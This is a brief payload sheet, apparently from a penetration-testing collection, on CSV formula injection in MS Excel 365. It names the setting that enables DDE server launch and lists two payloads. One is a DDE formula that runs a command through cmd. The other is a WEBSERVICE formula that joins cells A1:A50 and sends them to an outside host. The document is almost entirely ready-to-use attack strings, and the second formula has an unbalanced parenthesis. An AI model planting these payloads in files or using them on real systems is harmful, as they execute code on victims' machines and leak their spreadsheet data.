CSV Injection

MS Excel 365

MS Excel 365 has to have enabled DDE launch (disabled by default). File → Options → Trust Center → Trust Center Settings → External Content → Enable Dynamic Data Exchange Server Launch

Payloads

=cmd|' /C calc'!A0
=WEBSERVICE(CONCAT("http://example.com/", CONCAT(A1:A50))